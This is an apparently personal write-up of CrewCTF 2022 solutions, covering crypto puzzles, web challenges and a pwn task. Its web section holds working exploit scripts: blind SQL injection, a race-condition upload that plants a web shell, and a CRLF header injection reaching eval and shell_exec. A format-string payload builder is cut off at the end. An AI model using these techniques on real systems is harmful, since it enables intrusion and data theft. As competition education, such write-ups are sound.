y011d4.log

CrewCTF 2022 Writeup

Mon Apr 18 2022

I participated CrewCTF 2022 by myself. The results were 24th/758.

Here are my write-ups for challs I solved.

crypto

matdlp

6 solves

problem.sage
FLAG = open('flag.txt', 'r').read().encode()

p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
m = 6

import random
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util import Padding

K = GF(p)
matspace = MatrixSpace(K, m)

while(True):
    U = matspace.random_element()
    if U.determinant() != 0:
        break

print('U={}'.format(U.list()))

while(True):
    l1, l2, l3 = K.random_element(), K.random_element(), K.random_element()
    X = matrix(K, m, m, [l1,0,0,0,0,0]+[0,l2,1,0,0,0]+[0,0,l2,0,0,0]+[0,0,0,l3,1,0]+[0,0,0,0,l3,1]+[0,0,0,0,0,l3])
    if U*X != X*U:
        break

print('X={}'.format(X.list()))

def genkey():
    t = random.randint(1, p-1)
    s = random.randint(1, p-1)
    Us = U**s
    privkey = (t, s)
    pubkey = Us * (X**t) * Us.inverse()
    return (privkey, pubkey)

alicekey = genkey()
bobkey = genkey()

print('alice_pubkey={}'.format(alicekey[1].list()))
print('bob_pubkey={}'.format(bobkey[1].list()))

alice_Us = (U**alicekey[0][1])
bob_Us = (U**bobkey[0][1])
sharedkey_a = alice_Us * (bobkey[1]**alicekey[0][0]) * alice_Us.inverse()
sharedkey_b = bob_Us * (alicekey[1]**bobkey[0][0]) * bob_Us.inverse()

assert sharedkey_a == sharedkey_b

aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()

cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
ciphertext = cipher.encrypt(Padding.pad(FLAG, 16))
print('ciphertext=0x{}'.format(ciphertext.hex()))

This is a challenge related to DH using matrices. We are given two base matrices X,UX, U and two public keys Puba=UsaXtaU−sa,Pubb=UsbXtbU−sbPub_a = U^{s_a} X^{t_a} U^{-s_a}, Pub_b = U^{s_b} X^{t_b} U^{-s_b} (let alice_pubkey, bob_pubkey be Puba,PubbPub_a, Pub_b). You should find private keys s,ts, t, or Us,XtU^s, X^t, to calculate sharedkey. It seems like a conjugacy search problem.

I took two steps below to find sharedkey.

  • find tt
  • find UsU^s

find tt The eigenvalues of XtX^t equal to the eigenvalues of XX to the power tt. On top of that, the eigenvalues of AA and BAB−1BAB^{-1} are the same in general. Due to the properties above, the eigenvalues of PubPub equal to the eigenvalues of XX to the power tt. Therefore we can find tt by solving DLP, because p−1p - 1 is a smooth number.

order0 = X[0, 0].multiplicative_order()
order1 = X[1, 1].multiplicative_order()
order2 = X[3, 3].multiplicative_order()


def find_t(pubkey):
    eigenvalues = pubkey.eigenvalues()
    tmp0 = eigenvalues[0].log(X[0, 0])
    tmp1 = eigenvalues[1].log(X[1, 1])
    tmp2 = eigenvalues[3].log(X[3, 3])
    t = crt([tmp0, tmp1, tmp2], [order0, order1, order2])
    return t


ta = find_t(alice_pubkey)
tb = find_t(bob_pubkey)

find UsU^s I tried first to solve UsU^s directly. I defined Us=aijU^s = a_{ij} and solve PubUs=UsXtPub U^s = U^s X^t. But it failed possibly because aija_{ij} lacks information that it is UU to the power ss.

To embed this information, I checked the characteristic polynomial of UU.

sage: factor(U.charpoly())
(x + 272156912070708902725843677542819583556667619603268850202634108624245601311771692742378899858810772332787126040705365519917638656618482092552423506234554591846471594622748509200598843905671422) * (x^5 + 155371083189422565269288233359448399667840697703600886722606579238132932391518274203205223547451492080432165522309976517064390115465996469027219303477376469238251468826608291798316822543456162*x^4 + 446753382480846116612393146760884954896121765071456225770279819858746245688380960364705867209066907602521303662237029022257593644622408423829343861316929069374186865583338945701913341346187234*x^3 + 76369017873880886583744573636703029579949354962100059238617674762095486442512233112266228068686561188798118781108370753062614496741029381039776887096361492171340174931842015041750530633077923*x^2 + 169838414808650870217114129164492603681348790521284629393131915612694041945967484393014350465542284542747172527757447691072675392371501332304797080004149690284049125468289443535532256793387693*x + 195293538849425528366183244789502263062210742639752849745671804494941444950329646833491144197025980136293117724127586794827053060018161405989795240061361737882403777125590806024627122823324175)

This implies that UU can be transformed to a matrix JJ below by a certain PP:

J=P−1UP=(a00a01a02a03a04a050a11a12a13a14a150a21a22a23a24a250a31a32a33a34a350a41a42a43a44a450a51a52a53a54a55)J = P^{-1}UP = \left( \begin{array}{cccccc} a_{00} & a_{01} & a_{02} & a_{03} & a_{04} & a_{05} \\ 0 & a_{11} & a_{12} & a_{13} & a_{14} & a_{15} \\ 0 & a_{21} & a_{22} & a_{23} & a_{24} & a_{25} \\ 0 & a_{31} & a_{32} & a_{33} & a_{34} & a_{35} \\ 0 & a_{41} & a_{42} & a_{43} & a_{44} & a_{45} \\ 0 & a_{51} & a_{52} & a_{53} & a_{54} & a_{55} \end{array} \right)
g = factor(U.charpoly())[0][0]
e = -g[0]
x = (U - e).right_kernel_matrix()[0]
assert U * x == e * x
P = matrix(GF(p), [x, [0, 1, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 1]]).transpose()
assert (U * P[:, 0]).T.list() == (e * x).list()
assert (~P)[0, 0] == x[0]**-1
for i in range(1, 6):
    assert (~P)[i, 0] == -x[i] * x[0]**-1
J = ~P * U * P
for i in range(1, 6):
    assert J[i, 0] == 0

So I could modify Pub=UsXtU−sPub = U^s X^t U^{-s} into Pub=PJsP−1XtPJ−sP−1Pub = P J^s P^{-1} X^t P J^{-s} P^{-1}. Then I found JsJ^s by linear algebra and UsU^s.

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes


def to_list(x):
    mat = []
    for i in range(x.nrows()):
        row = []
        for j in range(x.ncols()):
            row.append(x[i, j])
        mat.append(row)
    return mat


def matmul(x, y):
    mat = []
    assert len(x[0]) == len(y)
    K = len(x[0])
    for i in range(len(x)):
        row = []
        for j in range(len(y[0])):
            res = 0
            for k in range(K):
                res += x[i][k] * y[k][j]
            row.append(res)
        mat.append(row)
    return mat


PR = PolynomialRing(GF(p), names=[f"a{i}" for i in range(31)])
a_list = list(PR.gens())
Js = [
    a_list[:6],
    [0] + a_list[6:11],
    [0] + a_list[11:16],
    [0] + a_list[16:21],
    [0] + a_list[21:26],
    [0] + a_list[26:31],
]

# ~P * pubkey * P * Js == Js * ~P * X**t * P
lhs = matmul(to_list(~P * alice_pubkey * P), Js)
rhs = matmul(Js, to_list(~P * X**ta * P))

polys = []
for i in range(6):
    for j in range(6):
        polys.append(lhs[i][j] - rhs[i][j])

I = Ideal(polys)
G = I.groebner_basis()
a_list = []
for i in range(len(G)):
    g = G[i]
    c = g.coefficients()[1]
    a_list.append(-c % p)
a_list.append(1)

Js = matrix(GF(p), [
    a_list[:6],
    [0] + a_list[6:11],
    [0] + a_list[11:16],
    [0] + a_list[16:21],
    [0] + a_list[21:26],
    [0] + a_list[26:31],
])
assert J * ~P * X**ta * P * ~J == ~P * alice_pubkey * P
Usa = P * J * ~P
sharedkey_a = Usa * bob_pubkey ** ta * ~Usa

aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()
cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
print(cipher.decrypt(long_to_bytes(ciphertext)))

crew{dl_pr0bl3m_0n_f1n173_f13ld_15_3553n714l_70_4n07h3r_w0rld}

signsystem

8 solves

server.py
import sys
import random
from hashlib import sha256
from Crypto.Util.number import inverse
import ecdsa

from secret import FLAG

curve = ecdsa.curves.SECP112r1
p = int(curve.curve.p())
G = curve.generator
n = int(curve.order)

class SignSystem:
    def __init__(self):
        self.key = ecdsa.SigningKey.generate(curve=curve)
        self.nonce = [random.randint(1, n-1) for _ in range(112)]

    def sign(self, msg):
        e = int.from_bytes(sha256(msg).digest(), 'big') % n
        h = bin(e)[2:].zfill(112)
        k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n
        r = int((k * G).x()) % n
        s = inverse(k, n) * (e + r * self.key.privkey.secret_multiplier) % n
        return (int(r), int(s))

    def verify(self, msg, sig):
        (r, s) = sig
        e = int.from_bytes(sha256(msg).digest(), 'big')
        if s == 0:
            return False
        w = inverse(s, n)
        u1 = e*w % n
        u2 = r*w % n
        x1 = int((u1*G + u2*self.key.privkey.public_key.point).x()) % n
        return (r % n) == x1

if __name__ == '__main__':
    HDR = 'Welcome to sign system.'
    print(HDR)
    MENU = "1:sign\n2:verify\n3:getflag\n"
    S = SignSystem()
    try:
        while(True):
            print('')
            print(MENU)
            i = int(input('>> '))
            if i == 1:
                msghex = input('msg(hex): ')
                sig = S.sign(bytes.fromhex(msghex))
                print(f'signature: ({hex(sig[0])}, {hex(sig[1])})')
            elif i == 2:
                msghex = input('msg(hex): ')
                sig0hex = input('sig[0](hex): ')
                sig1hex = input('sig[1](hex): ')
                result = S.verify(bytes.fromhex(msghex), (int(sig0hex, 16), int(sig1hex, 16)))
                if result:
                    print('Verification success.')
                else:
                    print('Verification failed.')
            elif i == 3:
                target = random.randint(2**511, 2**512-1)
                print(f'target: {hex(target)}')
                sig0hex = input('sig[0](hex): ')
                sig1hex = input('sig[1](hex): ')
                result = S.verify(bytes.fromhex(hex(target)[2:]), (int(sig0hex, 16), int(sig1hex, 16)))
                if result:
                    print('OK, give you a flag.')
                    print(FLAG.decode())
                    break
                else:
                    print('NG.')
                    break
    except KeyboardInterrupt:
        print('bye')
        sys.exit(0)
    except:
        print('error occured')
        sys.exit(-1)

This is a challenge related to ECDSA. (I first tried s=ns = n since it doesn't check 0<s<n0 < s < n. But it failed.)

Let SignSystem.nonce be NjN_j, i-th signature be ri,sir_i, s_i and i-th message hash be e(i)e^{(i)}. We can describe e(i)=∑j=0111cj(i)2111−je^{(i)} = \sum_{j=0}^{111} c^{(i)}_j 2^{111-j}. Then ∑jcj(i)Nj=si−1e(i)+si−1rid\sum_j c^{(i)}_j N_j = s_i^{-1} e^{(i)} + s_i^{-1} r_i d. Since we know cj(i),e(i),si,ric_j^{(i)}, e^{(i)}, s_i, r_i, we can find Nj,dN_j, d by linear algebra if we get more than or equal to 113 independent equations.

solve.sage
import random
import re
from hashlib import sha256

from Crypto.Util.number import inverse, long_to_bytes
from tqdm import tqdm
from pwn import remote


a = 4451685225093714772084598273548424
b = 2061118396808653202902996166388514
p = 4451685225093714772084598273548427
EC = EllipticCurve(GF(p), [a, b])
G = EC(188281465057972534892223778713752, 3419875491033170827167861896082688)
n = int(4451685225093714776491891542548933)


class SignSystem:
    def __init__(self):
        self.d = random.randint(1, n-1)
        self.nonce = [random.randint(1, n-1) for _ in range(112)]

    def sign(self, msg):
        e = int.from_bytes(sha256(msg).digest(), 'big') % n
        h = bin(e)[2:].zfill(112)
        k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n
        r = int((int(k) * G).xy()[0]) % n
        s = inverse(k, n) * (e + r * self.d) % n
        return (int(r), int(s))

    def verify(self, msg, sig):
        (r, s) = sig
        e = int.from_bytes(sha256(msg).digest(), 'big')
        if s == 0:
            return False
        w = inverse(s, n)
        u1 = e*w % n
        u2 = r*w % n
        x1 = int((u1*G + u2*self.d*G).xy()[0]) % n
        return (r % n) == x1



io = remote("signsystem.crewctf-2022.crewc.tf", 1337)


def sign(msg):
    io.sendlineafter(b">> ", b"1")
    io.sendlineafter(b"msg(hex): ", msg.hex())
    ret = io.recvline().strip().decode()
    r, s = map(lambda x: int(x, 16), re.findall(r"signature: \((.*), (.*)\)", ret)[0])
    return r, s


e_list = []
h_list = []
r_list = []
s_list = []
for i in tqdm(range(113)):
    msg = long_to_bytes(i)
    e = int.from_bytes(sha256(msg).digest(), 'big') % n
    h = bin(e)[2:].zfill(112)
    r, s = sign(msg)
    e_list.append(e)
    h_list.append(h)
    r_list.append(r)
    s_list.append(s)

mat = matrix(GF(n), 113, 113)
target = vector(GF(n), 113)
for i in range(113):
    e = e_list[i]
    s = s_list[i]
    r = r_list[i]
    for j in range(112):
        mat[i, j] = int(h_list[i][j])
    mat[i, 112] = -pow(s, -1, n) * r
    target[i] = pow(s, -1, n) * e

res = mat.solve_right(target)

S = SignSystem()
S.d = res.change_ring(ZZ).list()[-1]
S.nonce = res.change_ring(ZZ).list()[:112]

io.sendlineafter(b">> ", b"3")
io.recvuntil(b"target: ")
target = long_to_bytes(int(io.recvline().strip().decode(), 16))
r, s = S.sign(target)
io.sendlineafter(b"sig[0](hex): ", long_to_bytes(r).hex())
io.sendlineafter(b"sig[1](hex): ", long_to_bytes(s).hex())
print(io.recvline())
print(io.recvline())
io.close()

crew{w3_533_7h3_p0w3r_0f_l1n34r_4l63br4}

delta

15 solves

problem.py
from Crypto.Util.number import bytes_to_long, getRandomNBitInteger
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from flag import FLAG

key = RSA.generate(1024)
p = key.p
q = key.q
n = key.n
if p > q:
    p, q = q, p

e = key.e
cipher = PKCS1_OAEP.new(key=key,hashAlgo=SHA256)
c = bytes_to_long(cipher.encrypt(FLAG))

delta = getRandomNBitInteger(64)
x = p**2 + 1337*p + delta

val = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) % n

print('n=' + str(n))
print('e=' + str(e))
print('c=' + str(c))
print('val=' + str(val))

Considering mod  p\mod p instead of mod  n\mod n, you can find that val is a cubic equation with regard to delta. Since delta is small enough, it can be calculated by Coppersmith's method.

After delta is found, val can be described as a sixth degree equation with regard to pp. Since val equals to 00 in mod  p\mod p, the constant term of val should be a multiple of pp. Therefore you can find pp by calculating gcd of the constant and nn.

solve.sage
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.Util.number import long_to_bytes


n = 141100651008173851466795684636324450409238358207191893767666902216680426313633075955718286598033724188672134934209410772467615432454991738608692590241240654619365943145665145916032591750673763981269787196318669195238077058469850912415480579793270889088523790675069338510272116812307715222344411968301691946663
e = 65537
c = 115338511096061035992329313881822354869992148130629298132719900320552359391836743522134946102137278033487970965960461840661238010620813848214266530927446505441293867364660302604331637965426760460831021145457230401267539479461666597608930411947331682395413228540621732951917884251567852835625413715394414182100
val = 55719322748654060909881801139095138877488925481861026479419112168355471570782990525463281061887475459280827193232049926790759656662867804019857629447612576114575389970078881483945542193937293462467848252776917878957280026606366201486237691429546733291217905881521367369936019292373732925986239707922361248585


PR.<delta> = PolynomialRing(Zmod(n))
f = (pow(2,e,n)*(delta**3) + pow(3,e,n)*(delta**2) + pow(5,e,n)*delta + pow(7,e,n)) - val
f = f.monic()
delta = f.small_roots(beta=0.49, delta=1/3, epsilon=0.015)[0]

PR.<p> = PolynomialRing(Zmod(n))
x = p**2 + 1337*p + delta
f = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) - val
p = int(gcd(f[0], n))
assert n % p == 0

q = n // p
e = 0x10001
phi = (p - 1) * (q - 1)
d = int(pow(e, -1, phi))
rsa = RSA.construct((int(n), int(e), d))
cipher = PKCS1_OAEP.new(key=rsa, hashAlgo=SHA256)
cipher.decrypt(long_to_bytes(int(c)))

crew{m0dp_3qu4710n_l34d5_u5_f4c70r1n6}

toydl

36 solves

We are given some pairs of g,h,xg, h, x such that gx=hmod  ng^x = h \mod n. If we can find factors of nn, we get a flag.

I paid attention to 2x0=3mod  n2^{x_0} = 3 \mod n and 2x1=9mod  n2^{x_1} = 9 \mod n. This means that 22x0=2x1=9mod  n2^{2x_0} = 2^{x_1} = 9 \mod n. Then 2x0=x1mod  ϕ(n)2x_0 = x_1 \mod \phi(n).

solve.py
from Crypto.Util.number import long_to_bytes


n = 9099069576005010864322131238316022841221043338895736227456302636550336776171968946298044005765927235002236358603510713249831486899034262930368203212096032559091664507617383780759417104649503558521835589329751163691461155254201486010636703570864285313772976190442467858988008292898546327400223671343777884080302269
c = 7721448675656271306770207905447278771344900690929609366254539633666634639656550740458154588923683190330091584419635454991419701119568903552077272516472473602367188377791329158090763546083264422552335660922148840678536264063681459356778292303287448582918945582522946194737497041408425657842265913159282583371732459

"""
pow(2, x, n) = 3
x->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194
pow(2, x, n) = 9
x->3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390
"""
phi = 2 * 4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194 - 3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390
assert phi < n
e = 65537
d = int(pow(e, -1, phi))
long_to_bytes(int(pow(c, d, n)))

crew{d15cr373_l06_15_r3duc710n_f0r_f4c70r1n6}

Malleable Metal

57 solves

chal.sage
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long
import random
import binascii
from secret import flag

e = 3
BITSIZE =  8192
key = RSA.generate(BITSIZE)
n = key.n
flag = bytes_to_long(flag)
m = floor(BITSIZE/(e*e)) - 400
assert (m < BITSIZE - len(bin(flag)[2:]))
r1 = random.randint(1,pow(2,m))
r2 = random.randint(r1,pow(2,m))
msg1 = pow(2,m)*flag + r1
msg2 = pow(2,m)*flag + r2
C1 = Integer(pow(msg1,e,n))
C2 = Integer(pow(msg2,e,n))
print(f'{n = }\n{C1 = }\n{C2 = }')

Since msg1 and msg2 is almost the same, you can decrypt it by Coppersmith’s Short Pad Attack and Franklin-Reiter Related Message Attack. The script refers to here.

solve.sage
from Crypto.Util.number import bytes_to_long, long_to_bytes


e = 3
BITSIZE =  8192
m = floor(BITSIZE/(e*e)) - 400


def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+y)^e - c2
    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)
    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()
    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^m, beta=0.5)[0]
    return diff


def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]


diff = short_pad_attack(C1, C2, e, n)
m1 = related_message_attack(C1, C2, diff, e, n)
long_to_bytes(int(int(m1) // 2**m))

crew{l00ks_l1k3_y0u_h4v3_you_He4rd_0f_c0pp3rsm1th_sh0r+_p4d_4tt4ck_th4t_w45n't_d1ff1cult_w4s_it?}

The HUGE e

63 solves

chall.py
from Crypto.Util.number import getPrime, bytes_to_long, inverse, isPrime
from secret import flag

m = bytes_to_long(flag)

def getSpecialPrime():
    a = 2
    for i in range(40):
        a*=getPrime(20)
    while True:
        b = getPrime(20)
        if isPrime(a*b+1):
            return a*b+1


p = getSpecialPrime()
e1 = getPrime(128)
e2 = getPrime(128)
e3 = getPrime(128)

e = pow(e1,pow(e2,e3))
c = pow(m,e,p)

assert pow(c,inverse(e,p-1),p) == m

print(f'p = {p}')
print(f'e1 = {e1}')
print(f'e2 = {e2}')
print(f'e3 = {e3}')
print(f'c = {c}')

Since pp is prime, pow(e1, ...) is calculated in mod  p−1\mod p - 1. Then pow(e2, e3) should be calculated in mod  ϕ(p−1)\mod \phi(p - 1). p−1p - 1 is very smooth and we can calculate ϕ(p−1)\phi(p - 1) easily.

solve.sage
from Crypto.Util.number import long_to_bytes


p = 127557933868274766492781168166651795645253551106939814103375361345423596703884421796150924794852741931334746816404778765897684777811408386179315837751682393250322682273488477810275794941270780027115435485813413822503016999058941190903932883823
e1 = 219560036291700924162367491740680392841
e2 = 325829142086458078752836113369745585569
e3 = 237262361171684477270779152881433264701
c = 962976093858853504877937799237367527464560456536071770645193845048591657714868645727169308285896910567283470660044952959089092802768837038911347652160892917850466319249036343642773207046774240176141525105555149800395040339351956120433647613

phi = 1
for pi, e in factor(p - 1):
    assert e == 1
    phi *= pi - 1

e2_e3 = Integer(pow(e2, e3, phi))
e = int(pow(e1, e2_e3, p - 1))
d = int(pow(e, -1, p - 1))
m = int(pow(c, d, p))
long_to_bytes(m)

crew{7hi5_1s_4_5ma11er_numb3r_7han_7h3_Gr4ham_numb3r}

ez-x0r

249 solves

Since we know the prefix of the flag, crew. xor(enc, "crew") is ffff, which implies that the flag is encrypted by xor-ing ffff....

solve.py
from base64 import b64decode
from pwn import xor

enc = b"BRQDER1VHDkeVhQ5BRQfFhIJGw=="
xor(b64decode(enc), b"f")

web

Marvel Pick & Marvel Pick Again

31 solves

First I suspected that this challenge is related to NoSQL injection. So I tried some payloads like /api.php?character[$regex]=*, but it didn't work at all. After that I luckily found that /api.php?character=' broke something. This is a SQL injection challenge (I should have realized this ealier).

After some experiments, I found something below:

  • some symbol characters are erased
  • /api.php?character=a' UNION SELECT 1,'1 returns 1
    • it returns the number of records
  • /api.php?character=a' UNION SELECT null,sql FROM sqlite_master WHERE name LIKE 'YOUR_INPUT%
    • DB is sqlite
    • there are two tables, character and flags
  • /api.php?character=a' UNION SELECT null,name FROM pragma_table_info('flags') WHERE name LIKE 'YOUR_INPUT%
    • there are some columns, id and value
  • /api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,YOUR_INPUT,1) > 'YOUR_INPUT
    • this reveals flag characters one by one

Here is a script to get the flag.

solve.py
import json
import requests

url_template = "http://34.126.83.114:3390/api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,{idx},1) > '{c}"
flag = "crew"
for idx in range(len(flag), 100):
    for i in range(33, 128):
        c = chr(i)
        if c in " '#*&%-/;=":
            continue
        print(idx, c)
        tmp_url = url_template.format(c=c, idx=idx+1)
        r = requests.get(tmp_url)
        count = json.loads(r.text)["data"]["vote_count"]
        print(c, count)
        if count == 0:
            break
    flag += chr(i)
    print(flag)

This works for two challenges. But I missed the second flag because I didn't realized the second challenge had been added and it was too late when I realized😢

crew{so_its_n0t_on3_line_for_exp}

crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}

Uploadz

41 solves

index.php
<?php
 function create_temp_file($temp,$name){
    $file_temp = "storage/app/temp/".$name;
    copy($temp,$file_temp);
    
    return $file_temp;
  }
  function gen_uuid($length=6) {
    $keys = array_merge(range('a', 'z'), range('A', 'Z'));
    for($i=0; $i < $length; $i++) {
        $key .= $keys[array_rand($keys)];
        
    }

    return $key;
}
  function move_upload($source,$des){
    $name = gen_uuid();
    $des = "storage/app/uploads/".$name.$des;
    copy($source,$des);
    sleep(1);// for loadblance and anti brute
    unlink($source);
    return $des;
  }
  if (isset($_FILES['uploadedFile']))
  {
    // get details of the uploaded file
    $fileTmpPath = $_FILES['uploadedFile']['tmp_name'];
    $fileName = basename($_FILES['uploadedFile']['name']);
    $fileNameCmps = explode(".", $fileName);
    $fileExtension = strtolower(end($fileNameCmps));
    


   
    $dest_path = $uploadFileDir . $newFileName;
    $file_temp = create_temp_file($fileTmpPath, $fileName);
    echo "your file in ".move_upload($file_temp,$fileName);
    
  }
  if(isset($_GET["clear_cache"])){
    system("rm -r storage/app/uploads/*");
  }
?>
<form action="/" method="post" enctype="multipart/form-data">
Select image to upload: <input type="file" name="uploadedFile" id="fileToUpload"> 
<input type="submit" value="Upload Image" name="submit"> </form>

The flag is at /flag.txt

At first I suspected directory traversal. But it seemed difficult because they used basename. Next I tried uploading php file and execute it, but it didn't work because of the configuration of .htaccess.

After some googling, I found that .htaccess can be put in each directory. It enables us to execute php. In this challenge, uploaded files are put into "storage/app/uploads/".$name.$des, where $name is random characters. It seems impossible to put .htaccess from a quick glance. But the files are temporaliry put into "storage/app/temp/".$name (1 second), where $name is uploaded file name. This means that we can put .htaccess at storage/app/temp/. I used .htaccess and a.shell from this writeup and accessed to /storage/app/temp/a.shell?cmd=cat /flag.txt.

run.bash
#/bin/bash
python3 upload_htaccess.py &
python3 upload_shell.py &
for i in $(seq 1 10); do
    python3 exec.py &
done
upload_htaccess.py
import requests

url = "https://uploadz-web.crewctf-2022.crewc.tf/"

fp = open(".htaccess", "rb")
files = {"uploadedFile": fp}
r = requests.post(url, files=files)
print(r.text)
fp.close()
upload_shell.py
import requests

url = "https://uploadz-web.crewctf-2022.crewc.tf/"

fp = open("a.shell", "rb")
files = {"uploadedFile": fp}
r = requests.post(url, files=files)
print(r.text)
fp.close()
exec.py
import requests

url = "https://uploadz-web.crewctf-2022.crewc.tf"

r = requests.get(url + "/storage/app/temp/a.shell?cmd=cat /flag.txt")
print(r.text)

crewctf{upload_rce_via_race}

CuaaS

90 solves

index.php
<html>
	<head>
		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
		<title>CuaaS</title>
		<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
		<style type="text/css">
	html, body, .container {
		height: 100%;
	}
	.container {
	    display: table;
	    vertical-align: middle;
	}
	.vertical-center-row {
	    display: table-cell;
	    vertical-align: middle;
	}
		</style>
	</head>

	<body>
		<center>
	    <div class="container">
    		<div class="vertical-center-row">
	   	 		<h1>Clean url as a Service</h1>
	     		<form method="post">
					<label class="sr-only" for="inlineFormInputGroupUsername2">Link</label>
	 				 <div class="input-group mb-2 mr-sm-2 col-sm-5">
	    				<div class="input-group-prepend">
	      					<div class="input-group-text">URL</div>
	    				</div>
	    			<input type="text" class="form-control " id="inlineFormInputGroupUsername2" name="url" placeholder="https://www.example.tld/cleanmepls?name=joe&age=13&address=very-very-very-long-string">
	  				</div>
	    			<div class="col-auto">
	      				<button type="submit" class="btn btn-primary mb-2">Clean</button>
	    			</div>
<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
    {
        clean_and_send($_POST['url']);
    }

	function clean_and_send($url){
			$uncleanedURL = $url; // should be not used anymore
			$values = parse_url($url);
			$host = explode('/',$values['host']);
			$query = $host[0];
			$data = array('host'=>$query);
			$cleanerurl = "http://127.0.0.1/cleaner.php";
   			$stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
			'method' => 'POST',
			'header' => "X-Original-URL: $uncleanedURL",
			'content' => http_build_query($data)
			]
			]));
    			echo $stream;
											}


?>
	     	</form>
			</div>
	    </div>
	</center>
	</body>


</html>
cleaner.php
<?php

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

die("<img src='https://imgur.com/x7BCUsr.png'>");

}


echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";


function tryandeval($value){
                echo "<br>How many you visited us ";
                eval($value);
        }


foreach (getallheaders() as $name => $value) {
	if ($name == "X-Visited-Before"){
		tryandeval($value);
	}}
?>

In cleaner.php, we can call any eval if we set header X-Visited-Before. php manual says we can set multiple headers by separating them with new lines in stream_context_create. I post url=http://localhost%0D%0AX-Visited-Before:echo shell_exec("ls -l /"); and found /maybethisistheflag. Then I post url=http://localhost%0D%0AX-Visited-Before:var_dump(file_get_contents("/maybethisistheflag")); and got the flag.

crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}

pwn

Ubume

60 solves

checksec result:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidra decompiler result:

void main(void)

{
  long in_FS_OFFSET;
  char local_228 [536];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  ignore_me();
  puts("Haven\'t we met before?");
  read(0,local_228,0x200);
  printf(local_228);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

void win(void)

{
  puts("I Knew it. We\'ve met before.");
  system("/bin/sh");
  return;
}

There is win function to execute /bin/sh.

This is a simple challenge related to format string attack.

solve.py
from pwn import *

elf = ELF("./chall")
io = remote("ubume.crewctf-2022.crewc.tf", 1337)

addr_win = 0x40070a


def make_payload(address):
    payload = b""
    # __libc_start_main ret addr から libc address の leak
    payload += b"%75$016lx"  # rsp は6番目 (なぜなら rsi, rdx, rcx, r8, r9, rsp だから) で、 rbp+0x8 は 75番目
    n = 16  # 最初 __libc_start_main の return address の表示に16文字消費
    print("target address", hex(address))
    # buf+0x80 に書き込むアドレスを置くことにする
    # これは22番目に対応
    for i in range(8):
        t = ((address % 0x100) - n) % 256
        if t == 0:
            t += 256
        # t = (address % 0x100) - n % 256
        # if t <= 1:
        #     t += 256
        payload += f"%{t}c%{22+i}$hhn".encode()
        address //= 256
        n += t
    assert 0x80 - len(payload) >= 0
    payload += b"A" * (0x80 - len(payload))
    addr_got_exit = elf.got["exit"]
    for i in range(8):
